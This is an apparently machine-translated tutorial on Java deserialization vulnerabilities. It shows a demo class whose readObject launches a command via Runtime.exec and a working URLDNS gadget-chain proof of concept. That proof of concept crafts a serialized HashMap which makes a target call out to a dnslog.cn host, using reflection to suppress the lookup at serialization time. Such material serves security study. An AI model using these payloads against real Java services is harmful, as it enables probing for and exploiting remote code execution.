Introduction to deserialization vulnerability
Why serialize and deserialize
Common serialization and deserialization protocols
XML is a common serialization and deserialization protocol, which has the advantages of cross machine and cross language,
SOAP (Simple Object Access protocol) is a widely used structured messaging protocol based on XML as serialization and deserialization protocol
JSON(Javascript Object Notation)
Protobuf
Why do security problems arise
As long as the server deserializes the data, the code in the readObject of the client passing class will be executed automatically, giving the attacker the ability to run the code on the server
Since the readObject in the passing class will execute the code again during deserialization, the problem may be in the following points
- There is a problem with the readObject() method code itself,
- There is a problem deserializing the content
Utilization form of hazardous parts
1. The readObject() override of the entry class directly calls the dangerous method
2. The entry class parameter contains a controllable class. This class has dangerous methods, which will be called when readObject()
3. The entry class parameter contains a controllable class, which calls other classes of dangerous methods, similar to a doll. It is called when readObject()
The above three situations have some common characteristics:
- Entry class (deserialization class) source (override readObject parameter type, preferably provided with jdk)
- Call chain gadget chain
- Execute class sink (rce ssrf write file)
By analyzing and limiting the entry class, we may think of Map, HashMap and Hashtable. They all meet the above requirements for entry classes
Case 1:
Look directly at the example code to understand this situation. First, a Person must inherit Serializable
import java.io.Serializable; import java.lang.reflect.InvocationTargetException; public class Person implements Serializable { public int id = 1; private String name = "BUTLER"; public String getName() { return name; } public void setName(String name) { this.name = name; } @Override public String toString() { return "Person{" + "id=" + id + ", name='" + name + '\'' + '}'; } private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { s.defaultReadObject(); // Execute the default readObject() method String command = "calc"; Class clazz = Class.forName("java.lang.Runtime"); clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),command); } }
Finally, the readObject is a fixed format, which uses the reflection class object Runtime to execute the shell
//Serialize.java import java.io.*; public class Serialize { public static void serialize(Object obj) throws IOException { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("butler.ser")); out.writeObject(obj); } public static void main(String[] args) throws IOException { serialize(new Person()); System.out.println("Serialize Successful"); } } //Unserialize.java import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; public class Unserialize { public static Object unserialize() throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream(new FileInputStream("butler.ser")); Person obj = (Person) in.readObject(); return obj; } public static void main(String[] args) throws IOException, ClassNotFoundException { Person obj = (Person) unserialize(); System.out.println(obj.toString()); } }
Execute serialize Java and then execute serialize java. The final results are shown in the figure below:
URLDNS
URLDNS is a chain that we often use in java deserialization. It is usually used to detect whether there is a deserialization vulnerability. The tool ysoserial, a java deserialization artifact, uses the URLDNS chain to detect deserialization vulnerabilities. At the same time, it is also a chain that Xiaobai must learn about java deserialization vulnerabilities.
Why can URLDNS quickly detect anti sequence vulnerabilities? There are two reasons: 1 Rely only on native classes; 2. Unlimited jdk version
Test environment: JDK 1.8.0_ three hundred and eleven
Deserialization utilization chain
The following is a deserialization utilization chain. Why should we emphasize it here? DNS query will also be triggered when serializing URL, but our requirement is to detect deserialization vulnerability, so this involves avoiding serialization (explained later).
--HashMap#readObject() --HashMap#hash() --URL#hashcode() --URLStreamHander#hashCode() --URLStreamHander#getHostAddress(u)
Using chain analysis
Analysis of deserialization utilization chain
- The object we serialize is a HashMap object, so we directly look at it from the readObject() of HashMap
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException { ObjectInputStream.GetField fields = s.readFields(); // Read loadFactor (ignore threshold) float lf = fields.get("loadFactor", 0.75f); if (lf <= 0 || Float.isNaN(lf)) throw new InvalidObjectException("Illegal load factor: " + lf); lf = Math.min(Math.max(0.25f, lf), 4.0f); HashMap.UnsafeHolder.putLoadFactor(this, lf); reinitialize(); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) { throw new InvalidObjectException("Illegal mappings count: " + mappings); } else if (mappings == 0) { // use defaults } else if (mappings > 0) { float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE); // Check Map.Entry[].class since it's the nearest public type to // what we're actually creating. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab; // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
At the end, it calls the hash() method
- Then follow up the method of hash()
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
Then key is called Hashcode () method. Key is the object of URL class
- Method of URL object hashCode()
transient URLStreamHandler handler; private int hashCode = -1; public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
If the default value of hashcode attribute here is - 1, and DNS query is required, the hashcode value should be - 1. Then, the hashCode() method of URLStreamHander is used, and this is the key of the previous part
- Then follow up the handler hashcode (this)
protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host part. Make a DNS query InetAddress addr = getHostAddress(u); if (addr != null) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null) h += host.toLowerCase().hashCode(); } // Generate the file part. String file = u.getFile(); if (file != null) h += file.hashCode(); // Generate the port part. if (u.getPort() == -1) h += getDefaultPort(); else h += u.getPort(); // Generate the ref part. String ref = u.getRef(); if (ref != null) h += ref.hashCode(); return h; }
This code will perform a DNS query, and the hashcode value after the query will no longer be - 1. If the hashcode value is - 1 during serialization, the DNS query will not be executed during deserialization, which is why we need to avoid it.
How to set the url of DNS query
Now that the anti sequence utilization chain has been clarified, we need to consider how to put the URL into the URL object and perform DNS query operation. In key In hashcode(), the key is the URL object. Sometimes, the key is taken from readobject()
// Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); }
That is, the key is written from the serialized method writeobject(). HashMap also overrides the writeobject () method
private void writeObject(java.io.ObjectOutputStream s) throws IOException { int buckets = capacity(); // Write out the threshold, loadfactor, and any hidden stuff s.defaultWriteObject(); s.writeInt(buckets); s.writeInt(size); internalWriteEntries(s); }
Follow in internalWriteEntries(s)
transient Node<K,V>[] table; void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException { Node<K,V>[] tab; if (size > 0 && (tab = table) != null) { for (int i = 0; i < tab.length; ++i) { for (Node<K,V> e = tab[i]; e != null; e = e.next) { s.writeObject(e.key); s.writeObject(e.value); } } } }
Both key and value are obtained from tab, and tab is obtained from table. If we want to set the table value of the HashMap object, we need to call its put method
public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
Here we can find an interesting point. If the put method is used to set the key value here, because the default value of hashcode attribute in the URL object is - 1, a serialized DNS query will be performed. After the serialized DNS query, deserialization will not work. So here is the circumvention we mentioned earlier. Next, we will introduce how to serialize DNS circumvention.
Serialization DNS circumvention & POC writing
As mentioned earlier, if the hashcode value is not - 1, DNS queries will be performed. Then we do to avoid serializing DNS queries by default. There are many avoidance strategies for masters on the Internet, including reflection method and ysoserial. Compared with the former, the former is easy to understand and the latter is more ingenious. Here is the first method of reflection avoidance
import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class Serialize { public static void serialize(Object obj) throws IOException { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("butler.ser")); out.writeObject(obj); System.out.println("Serialize Successful"); } public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { //serialize(new Person()); HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>(); URL url = new URL("http://nfpckt.dnslog.cn "); / / instantiate a URL object Class clazz = Class.forName("java.net.URL"); //Gets the reflection class object for the URL Field field = clazz.getDeclaredField("hashCode"); //Get hashcode property value object field.setAccessible(true); //Turn off security detection mechanism field.set(url,123); //The hashcode of the set url object is not - 1 System.out.println(field.hashCode()); //Check whether the modification is successful hashMap.put(url,567); //Put the object url and any integer value in the hashMap field.set(url,-1); //put is successfully added. Change the hashcode value to - 1 serialize(hashMap); //Serialize hashMap } }
Some codes and effects of deserialization:
import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; public class Unserialize { public static Object unserialize() throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream(new FileInputStream("butler.ser")); Object obj = in.readObject(); return obj; } public static void main(String[] args) throws IOException, ClassNotFoundException { //Person obj = (Person) unserialize(); Object obj = unserialize(); System.out.println(obj.toString()); } }
Finally, get the echo in DNS query:
The above is the way to avoid serialization echo through reflection. If you want to know the way to avoid ysoserial, you can refer to this blog. Deserialization of Java security - urldns & commons collections 1-7 deserialization chain analysis